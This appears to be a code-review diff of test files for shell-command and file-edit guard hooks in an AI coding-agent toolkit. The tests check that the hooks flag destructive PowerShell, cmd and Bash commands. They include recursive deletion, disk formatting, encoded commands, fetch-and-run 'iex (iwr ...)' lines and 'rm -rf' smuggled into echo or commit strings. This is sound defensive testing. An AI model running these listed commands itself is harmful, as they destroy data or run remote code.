// Git Bash), and NotebookEdit edits files without a file_path (#3067).
|
||||
function hookCommandsFor(rel: string, matcher: string): string[] {
|
||||
const content = fs.readFileSync(path.join(ROOT, rel), 'utf-8');
|
||||
const frontmatter = content.split('\n---')[0];
|
||||
const blocks = frontmatter.split(' - matcher: ').slice(1);
|
||||
return blocks
|
||||
.filter((b) => b.startsWith(`"${matcher}"`))
|
||||
.flatMap((b) => b.split('\n').filter((l) => l.trim().startsWith('command:')));
|
||||
}
|
||||
|
||||
describe('generated hook matchers cover PowerShell and NotebookEdit (#3067)', () => {
|
||||
test.each(['careful/SKILL.md', 'guard/SKILL.md'])('%s routes Bash and PowerShell to check-careful.sh', (rel) => {
|
||||
for (const matcher of ['Bash', 'PowerShell']) {
|
||||
const commands = hookCommandsFor(rel, matcher);
|
||||
expect(commands.length).toBe(1);
|
||||
expect(commands[0]).toContain('careful/bin/check-careful.sh');
|
||||
}
|
||||
});
|
||||
|
||||
test.each(['freeze/SKILL.md', 'guard/SKILL.md', 'investigate/SKILL.md'])('%s routes Edit, Write and NotebookEdit to check-freeze.sh', (rel) => {
|
||||
for (const matcher of ['Edit', 'Write', 'NotebookEdit']) {
|
||||
const commands = hookCommandsFor(rel, matcher);
|
||||
expect(commands.length).toBe(1);
|
||||
expect(commands[0]).toContain('freeze/bin/check-freeze.sh');
|
||||
}
|
||||
});
|
||||
|
||||
test('careful/SKILL.md says PowerShell coverage is best-effort and points to permission deny rules', () => {
|
||||
const content = fs.readFileSync(path.join(ROOT, 'careful', 'SKILL.md'), 'utf-8');
|
||||
expect(content).toContain('**Best-effort on PowerShell.**');
|
||||
expect(content).toContain('"PowerShell(Remove-Item *)"');
|
||||
});
|
||||
});
|
||||
|
||||
// ============================================================
|
||||
// check-careful.sh tests
|
||||
// ============================================================
|
||||
@@ -784,6 +820,219 @@ describe('check-careful.sh', () => {
|
||||
});
|
||||
});
|
||||
|
||||
// ============================================================
|
||||
// check-careful.sh on the PowerShell tool and nested shells (#3067)
|
||||
// ============================================================
|
||||
// Payload shape: Claude Code's PowerShell tool sends tool_input.command, the
|
||||
// same fields as Bash, with tool_name "PowerShell" (hooks reference,
|
||||
// code.claude.com/docs/en/hooks#powershell; tools reference "PowerShell tool").
|
||||
function psInput(command: string) {
|
||||
return { tool_name: 'PowerShell', tool_input: { command } };
|
||||
}
|
||||
|
||||
function bashInput(command: string) {
|
||||
return { tool_name: 'Bash', tool_input: { command } };
|
||||
}
|
||||
|
||||
function carefulDecision(input: object): { decision: string | undefined; reason: string } {
|
||||
const { exitCode, output } = runHook(CAREFUL_SCRIPT, input);
|
||||
expect(exitCode).toBe(0);
|
||||
return {
|
||||
decision: output.hookSpecificOutput?.permissionDecision,
|
||||
reason: output.hookSpecificOutput?.permissionDecisionReason ?? '',
|
||||
};
|
||||
}
|
||||
|
||||
describe('check-careful.sh PowerShell and cmd coverage (#3067)', () => {
|
||||
describe('Remove-Item alias families ask (case-insensitive, any parameter prefix)', () => {
|
||||
test.each([
|
||||
['Remove-Item -Recurse -Force C:\\proj'],
|
||||
['remove-item -rec C:\\proj'],
|
||||
['REMOVE-ITEM x -Recurse:$true'],
|
||||
['rm -r -fo C:\\proj'],
|
||||
['ri -Recurse x'],
|
||||
['del -Forc x'],
|
||||
['erase -recurse x'],
|
||||
['rd -r x'],
|
||||
['rmdir -Force x'],
|
||||
['Remove-Item -LiteralPath @("C:\\a", "C:\\b") -Recurse -Force'],
|
||||
['Get-ChildItem build | ri -r -fo'],
|
||||
['Write-Output start; Remove-Item -Recurse x'],
|
||||
['Re`move-Item -Recurse x'],
|
||||
])('%s asks and names ps_remove_item', (cmd) => {
|
||||
const { decision, reason } = carefulDecision(psInput(cmd));
|
||||
expect(decision).toBe('ask');
|
||||
expect(reason).toContain('Remove-Item');
|
||||
expect(reason).toContain('pattern: ps_remove_item');
|
||||
});
|
||||
});
|
||||
|
||||
describe('cmd switches ask', () => {
|
||||
test.each([
|
||||
['rmdir /s /q C:\\proj', 'cmd_rd_s'],
|
||||
['cmd /c rd /s /q C:\\proj', 'cmd_rd_s'],
|
||||
['cmd /c "rd /s/q C:\\proj"', 'cmd_rd_s'],
|
||||
['cmd /c r^d /s /q C:\\proj', 'cmd_rd_s'],
|
||||
['cmd /c del /s /q *.log', 'cmd_del_s'],
|
||||
['cmd /c erase /q /s *.tmp', 'cmd_del_s'],
|
||||
])('%s asks (%s)', (cmd, pattern) => {
|
||||
const { decision, reason } = carefulDecision(psInput(cmd));
|
||||
expect(decision).toBe('ask');
|
||||
expect(reason).toContain(`pattern: ${pattern}`);
|
||||
});
|
||||
});
|
||||
|
||||
describe('other destructive PowerShell commands ask', () => {
|
||||
test.each([
|
||||
['Format-Volume -DriveLetter D', 'ps_format_volume'],
|
||||
['Clear-Disk -Number 1 -RemoveData', 'ps_clear_disk'],
|
||||
['Clear-Content app.log', 'ps_clear_content'],
|
||||
['clc app.log', 'ps_clear_content'],
|
||||
['[System.IO.Directory]::Delete("C:\\proj", $true)', 'ps_dotnet_delete'],
|
||||
['[io.file]::delete("C:\\proj\\x")', 'ps_dotnet_delete'],
|
||||
['$null = [IO.Directory]::Delete($p, $true)', 'ps_dotnet_delete'],
|
||||
])('%s asks (%s)', (cmd, pattern) => {
|
||||
const { decision, reason } = carefulDecision(psInput(cmd));
|
||||
expect(decision).toBe('ask');
|
||||
expect(reason).toContain(`pattern: ${pattern}`);
|
||||
});
|
||||
|
||||
test('git push --force through the PowerShell tool asks (shell-agnostic family)', () => {
|
||||
const { decision, reason } = carefulDecision(psInput('git push --force origin feature'));
|
||||
expect(decision).toBe('ask');
|
||||
expect(reason).toContain('force-push');
|
||||
});
|
||||
|
||||
test('Invoke-Sqlcmd with DROP TABLE through the PowerShell tool asks (the #3067 report example)', () => {
|
||||
const { decision, reason } = carefulDecision(psInput('Invoke-Sqlcmd -Query "DROP TABLE users" -ServerInstance db'));
|
||||
expect(decision).toBe('ask');
|
||||
expect(reason).toContain('DROP');
|
||||
});
|
||||
});
|
||||
|
||||
describe('encoded and dynamic PowerShell asks with an explanation', () => {
|
||||
test.each([
|
||||
['pwsh -enc ZQBjAGgAbwA=', 'ps_encoded_command'],
|
||||
['powershell.exe -NoProfile -EncodedCommand ZQBjAGgAbwA=', 'ps_encoded_command'],
|
||||
['pwsh -e ZQBjAGgAbwA=', 'ps_encoded_command'],
|
||||
['iex (iwr https://example.com/x.ps1)', 'ps_invoke_expression'],
|
||||
['irm https://example.com/x.ps1 | iex', 'ps_invoke_expression'],
|
||||
['Invoke-Expression $payload', 'ps_invoke_expression'],
|
||||
['Start-Process pwsh -ArgumentList "-c Remove-Item x"', 'ps_start_process_shell'],
|
||||
['Start-Process -FilePath "cmd.exe" -ArgumentList "/c rd /s /q x"', 'ps_start_process_shell'],
|
||||
['& $cmd', 'ps_call_operator'],
|
||||
['& ("Remove-" + "Item") x', 'ps_call_operator'],
|
||||
])('%s asks (%s)', (cmd, pattern) => {
|
||||
const { decision, reason } = carefulDecision(psInput(cmd));
|
||||
expect(decision).toBe('ask');
|
||||
expect(reason).toContain(`pattern: ${pattern}`);
|
||||
expect(reason).toContain("can't be inspected");
|
||||
expect(reason).toContain('permission deny rules');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Bash commands that launch PowerShell or cmd are scanned', () => {
|
||||
test.each([
|
||||
['pwsh -c "Remove-Item -r -fo x"', 'ps_remove_item'],
|
||||
['powershell -NoProfile -Command "Remove-Item -Recurse C:\\proj"', 'ps_remove_item'],
|
||||
['powershell.exe -ExecutionPolicy Bypass Remove-Item -Recurse x', 'ps_remove_item'],
|
||||
['cmd /c "rd /s /q C:\\proj"', 'cmd_rd_s'],
|
||||
['cmd //c "r^d /s /q C:\\proj"', 'cmd_rd_s'],
|
||||
['cmd.exe /d /s /c "del /s /q build"', 'cmd_del_s'],
|
||||
['pwsh -enc ZQBjAGgAbwA=', 'ps_encoded_command'],
|
||||
['echo ok\npwsh -c "ri -r x"', 'ps_remove_item'],
|
||||
])('%s asks (%s)', (cmd, pattern) => {
|
||||
const { decision, reason } = carefulDecision(bashInput(cmd));
|
||||
expect(decision).toBe('ask');
|
||||
expect(reason).toContain(`pattern: ${pattern}`);
|
||||
});
|
||||
});
|
||||
|
||||
describe('negative controls stay allowed on both tools', () => {
|
||||
const controls = [
|
||||
'git branch -d feature',
|
||||
'ord',
|
||||
'ls --del',
|
||||
'ls /rd/x',
|
||||
'cat ./src/rd/notes.txt',
|
||||
'Get-ChildItem -Recurse',
|
||||
'Remove-Item x.txt',
|
||||
'Remove-Item -Filter *.tmp x',
|
||||
'del x.txt',
|
||||
'go test ./cmd/...',
|
||||
'pwsh -v',
|
||||
'pwsh -ExecutionPolicy Bypass -File build.ps1',
|
||||
'cmd /c dir',
|
||||
'grep -e foo x',
|
||||
'Start-Process notepad',
|
||||
'git status && git log --oneline -3',
|
||||
];
|
||||
for (const tool of ['Bash', 'PowerShell']) {
|
||||
test.each(controls)(`${tool}: %s allows`, (cmd) => {
|
||||
const { decision } = carefulDecision({ tool_name: tool, tool_input: { command: cmd } });
|
||||
expect(decision).toBeUndefined();
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe('PR #1110 bypass strings stay caught (negative controls for an echo/commit skip)', () => {
|
||||
test.each([
|
||||
['echo hi; rm -rf ~'],
|
||||
['echo $(rm -rf /)'],
|
||||
['git commit -m "$(rm -rf ~)"'],
|
||||
])('%s asks', (cmd) => {
|
||||
expect(carefulDecision(bashInput(cmd)).decision).toBe('ask');
|
||||
expect(carefulDecision(carefulInput(cmd)).decision).toBe('ask');
|
||||
});
|
||||
});
|
||||
|
||||
test('a malformed PowerShell payload fails closed (ask, exit 0)', () => {
|
||||
const { exitCode, output } = runHookRaw(CAREFUL_SCRIPT, '{"tool_name":"PowerShell","tool_input":{"command":"Remove-Item');
|
||||
expect(exitCode).toBe(0);
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBe('ask');
|
||||
});
|
||||
|
||||
test('Windows text-mode Python output (\\n written as \\r\\n) still dispatches on tool_name', () => {
|
||||
// windows-free-tests run 37739845723: python3's text-mode stdout turned
|
||||
// "PowerShell\n" into "PowerShell\r\n", so the PowerShell table never ran.
|
||||
// A sitecustomize that rewraps stdout with newline='\r\n' reproduces it.
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-careful-crlf-'));
|
||||
fs.writeFileSync(path.join(dir, 'sitecustomize.py'),
|
||||
"import io, sys\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', newline='\\r\\n')\n");
|
||||
try {
|
||||
const { exitCode, output } = runHook(CAREFUL_SCRIPT, psInput('Remove-Item -Recurse x'), { PYTHONPATH: dir });
|
||||
expect(exitCode).toBe(0);
|
||||
expect(output.hookSpecificOutput?.permissionDecisionReason).toContain('pattern: ps_remove_item');
|
||||
} finally {
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('a payload without tool_name is checked as Bash, exactly as before', () => {
|
||||
expect(carefulDecision(carefulInput('rm -rf /var/data')).decision).toBe('ask');
|
||||
expect(carefulDecision(carefulInput('Remove-Item -Recurse x')).decision).toBeUndefined();
|
||||
});
|
||||
|
||||
test('an older hook-extract.sh without gstack_hook_extract_tool still checks the command', () => {
|
||||
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-careful-oldextract-'));
|
||||
const carefulBin = path.join(base, 'careful', 'bin');
|
||||
fs.mkdirSync(carefulBin, { recursive: true });
|
||||
fs.copyFileSync(CAREFUL_SCRIPT, path.join(carefulBin, 'check-careful.sh'));
|
||||
const helper = fs.readFileSync(HOOK_EXTRACT, 'utf-8');
|
||||
const start = helper.indexOf('gstack_hook_extract_tool() {');
|
||||
const end = helper.indexOf('\n}\n', start) + 3;
|
||||
expect(start).toBeGreaterThan(0);
|
||||
fs.writeFileSync(path.join(carefulBin, 'hook-extract.sh'), helper.slice(0, start) + helper.slice(end));
|
||||
try {
|
||||
const { exitCode, output } = runHook(path.join(carefulBin, 'check-careful.sh'), bashInput('rm -rf /var/data'));
|
||||
expect(exitCode).toBe(0);
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBe('ask');
|
||||
} finally {
|
||||
fs.rmSync(base, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ============================================================
|
||||
// check-freeze.sh tests
|
||||
// ============================================================
|
||||
@@ -982,7 +1231,8 @@ describe('check-freeze.sh', () => {
|
||||
// The old resolver followed the parent directory but NOT the final path
|
||||
// component, so an in-boundary symlink pointing outside the boundary was
|
||||
// allowed while the write landed outside.
|
||||
test('an in-boundary symlink to an outside target denies', () => {
|
||||
// Windows CI runners lack Developer Mode, so symlinkSync throws EPERM there.
|
||||
test.skipIf(process.platform === 'win32')('an in-boundary symlink to an outside target denies', () => {
|
||||
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-freeze-link-'));
|
||||
const boundary = path.join(base, 'boundary');
|
||||
const outside = path.join(base, 'outside');
|
||||
@@ -1009,6 +1259,102 @@ describe('check-freeze.sh', () => {
|
||||
});
|
||||
});
|
||||
|
||||
// ============================================================
|
||||
// check-freeze.sh on NotebookEdit (#3067)
|
||||
// ============================================================
|
||||
// Payload shape: NotebookEdit sends tool_input.notebook_path (plus cell_id,
|
||||
// new_source, cell_type, edit_mode) and no file_path (Claude Code Agent SDK
|
||||
// reference, NotebookEditInput, code.claude.com/docs/en/agent-sdk/typescript).
|
||||
function notebookInput(notebookPath: string) {
|
||||
return { tool_name: 'NotebookEdit', tool_input: { notebook_path: notebookPath, new_source: 'print(1)', edit_mode: 'replace' } };
|
||||
}
|
||||
|
||||
describe('check-freeze.sh NotebookEdit boundary (#3067)', () => {
|
||||
const BOUNDARY = '/Users/dev/project/src/';
|
||||
|
||||
test('a notebook inside the boundary allows', () => {
|
||||
withFreezeDir(BOUNDARY, (stateDir) => {
|
||||
const { exitCode, output } = runHook(FREEZE_SCRIPT, notebookInput('/Users/dev/project/src/analysis.ipynb'), freezeEnv(stateDir));
|
||||
expect(exitCode).toBe(0);
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
test('a notebook outside the boundary denies, naming tool, notebook_path, boundary and /unfreeze', () => {
|
||||
withFreezeDir(BOUNDARY, (stateDir) => {
|
||||
const { exitCode, output } = runHook(FREEZE_SCRIPT, notebookInput('/etc/x.ipynb'), freezeEnv(stateDir));
|
||||
expect(exitCode).toBe(0);
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBe('deny');
|
||||
const reason: string = output.hookSpecificOutput?.permissionDecisionReason ?? '';
|
||||
expect(reason).toContain('NotebookEdit');
|
||||
expect(reason).toContain('notebook_path');
|
||||
expect(reason).toContain('/etc/x.ipynb');
|
||||
expect(reason).toContain('/Users/dev/project/src');
|
||||
expect(reason).toContain('/unfreeze');
|
||||
});
|
||||
});
|
||||
|
||||
test('a C:/ notebook path is normalized and denied outside a POSIX boundary', () => {
|
||||
withFreezeDir(BOUNDARY, (stateDir) => {
|
||||
const { output } = runHook(FREEZE_SCRIPT, notebookInput('C:/Users/dev/other/x.ipynb'), freezeEnv(stateDir));
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBe('deny');
|
||||
expect(output.hookSpecificOutput?.permissionDecisionReason).toContain('/c/Users/dev/other/x.ipynb');
|
||||
});
|
||||
});
|
||||
|
||||
test('a C:\\ notebook inside a C:\\ boundary allows', () => {
|
||||
withFreezeDir('C:\\dev\\proj\\', (stateDir) => {
|
||||
const { output } = runHook(FREEZE_SCRIPT, notebookInput('C:\\dev\\proj\\nb\\x.ipynb'), freezeEnv(stateDir));
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
test('file_path wins when both fields are present', () => {
|
||||
withFreezeDir(BOUNDARY, (stateDir) => {
|
||||
const input = { tool_name: 'NotebookEdit', tool_input: { file_path: '/etc/x.ipynb', notebook_path: '/Users/dev/project/src/a.ipynb' } };
|
||||
const { output } = runHook(FREEZE_SCRIPT, input, freezeEnv(stateDir));
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBe('deny');
|
||||
});
|
||||
});
|
||||
|
||||
test('a malformed NotebookEdit payload denies (fail closed)', () => {
|
||||
withFreezeDir(BOUNDARY, (stateDir) => {
|
||||
const { exitCode, output } = runHookRaw(FREEZE_SCRIPT, '{"tool_name":"NotebookEdit","tool_input":{"notebook_path":"/etc/x', freezeEnv(stateDir));
|
||||
expect(exitCode).toBe(0);
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBe('deny');
|
||||
});
|
||||
});
|
||||
|
||||
test('Edit denials name the tool and file_path too', () => {
|
||||
withFreezeDir(BOUNDARY, (stateDir) => {
|
||||
const { output } = runHook(FREEZE_SCRIPT, { tool_name: 'Edit', tool_input: { file_path: '/etc/hosts' } }, freezeEnv(stateDir));
|
||||
expect(output.hookSpecificOutput?.permissionDecisionReason).toContain('Edit file_path /etc/hosts');
|
||||
});
|
||||
});
|
||||
|
||||
test('a hook helper that lacks gstack_hook_extract_tool DENIES as out of date', () => {
|
||||
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-freeze-oldextract-'));
|
||||
const freezeBin = path.join(base, 'freeze', 'bin');
|
||||
const carefulBin = path.join(base, 'careful', 'bin');
|
||||
fs.mkdirSync(freezeBin, { recursive: true });
|
||||
fs.mkdirSync(carefulBin, { recursive: true });
|
||||
fs.copyFileSync(FREEZE_SCRIPT, path.join(freezeBin, 'check-freeze.sh'));
|
||||
const helper = fs.readFileSync(HOOK_EXTRACT, 'utf-8');
|
||||
const start = helper.indexOf('gstack_hook_extract_tool() {');
|
||||
const end = helper.indexOf('\n}\n', start) + 3;
|
||||
fs.writeFileSync(path.join(carefulBin, 'hook-extract.sh'), helper.slice(0, start) + helper.slice(end));
|
||||
try {
|
||||
withFreezeDir(BOUNDARY, (stateDir) => {
|
||||
const { output } = runHook(path.join(freezeBin, 'check-freeze.sh'), notebookInput('/Users/dev/project/src/a.ipynb'), freezeEnv(stateDir));
|
||||
expect(output.hookSpecificOutput?.permissionDecision).toBe('deny');
|
||||
expect(output.hookSpecificOutput?.permissionDecisionReason).toContain('out of date');
|
||||
});
|
||||
} finally {
|
||||
fs.rmSync(base, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ============================================================
|
||||
// check-freeze.sh state-root resolution (#1459 / #1509)
|
||||
// ============================================================
|
||||
@@ -1130,7 +1476,8 @@ describe('gstack_hook_log_fire writes under the resolved state root', () => {
|
||||
});
|
||||
});
|
||||
|
||||
test('a GSTACK_HOME ending in a newline round-trips exactly (writer %q and reader sentinel agree)', () => {
|
||||
// NTFS rejects a newline in a directory name.
|
||||
test.skipIf(process.platform === 'win32')('a GSTACK_HOME ending in a newline round-trips exactly (writer %q and reader sentinel agree)', () => {
|
||||
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-freeze-nl-'));
|
||||
const nlDir = path.join(base, 'root\n');
|
||||
fs.mkdirSync(nlDir);
|
||||
@@ -1145,7 +1492,8 @@ describe('gstack_hook_log_fire writes under the resolved state root', () => {
|
||||
}
|
||||
});
|
||||
|
||||
test('an unexpected set -e death inside the hook (a tool on PATH failing) DENIES via the EXIT backstop instead of exiting with no JSON', () => {
|
||||
// The fake tool is prepended with a POSIX ':' PATH separator.
|
||||
test.skipIf(process.platform === 'win32')('an unexpected set -e death inside the hook (a tool on PATH failing) DENIES via the EXIT backstop instead of exiting with no JSON', () => {
|
||||
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-freeze-backstop-'));
|
||||
const fakeBin = path.join(base, 'bin');
|
||||
fs.mkdirSync(fakeBin);
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
import { describe, expect, test } from 'bun:test';
|
||||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
import { CASE_TEST_NAMES, fileCaseRegistration } from '../scripts/lib/paid-cases';
|
||||
import {
|
||||
PR_PROFILE_CASE_IDS, PR_PROFILE_MAPS, caseNameAddressable, formatPrCoverageSummary, packageChangeOnlyVersion, selectPrProfile, validatePrProfileInventory,
|
||||
PR_PROFILE_CASE_IDS, PR_PROFILE_FILES, PR_PROFILE_MAPS, caseNameAddressable, formatPrCoverageSummary, packageChangeOnlyVersion, selectPrProfile, validatePrProfileInventory,
|
||||
type PrProfileMaps,
|
||||
} from '../scripts/test-pr-profile';
|
||||
|
||||
@@ -161,6 +164,20 @@ describe('fast PR coverage policy', () => {
|
||||
expect(() => select({ maps: marathon, profile: ['ceo-full'] })).toThrow('broad gate census');
|
||||
});
|
||||
|
||||
test('every audited PR-profile case is addressable by its Bun test name', () => {
|
||||
// The PR lane runs each audited file with -t built from CASE_TEST_NAMES[id] ?? id;
|
||||
// office-hours-auto-mode's test is named differently and matched 0 tests (#3077 eval-slices run 37741434771).
|
||||
const unaddressable = Object.entries(PR_PROFILE_FILES).flatMap(([file, ids]) => {
|
||||
const source = fs.readFileSync(path.join(import.meta.dir, '..', file), 'utf8');
|
||||
const computed = fileCaseRegistration(file, source).computed;
|
||||
return ids.filter((id) => {
|
||||
const name = CASE_TEST_NAMES[id] ?? id;
|
||||
return !caseNameAddressable(name, source) && !(computed && source.includes(`'${name}'`));
|
||||
}).map(id => `${file}: ${id}`);
|
||||
});
|
||||
expect(unaddressable).toEqual([]);
|
||||
});
|
||||
|
||||
test('rejects stale profile IDs, incorrect tiers, missing cadence, and unknown selections', () => {
|
||||
expect(() => select({ profile: ['missing'] })).toThrow('broad gate census');
|
||||
expect(() => select({ profile: ['ceo-periodic'] })).toThrow('broad gate census');
|
||||
|
||||
Reference in new issue
Block a user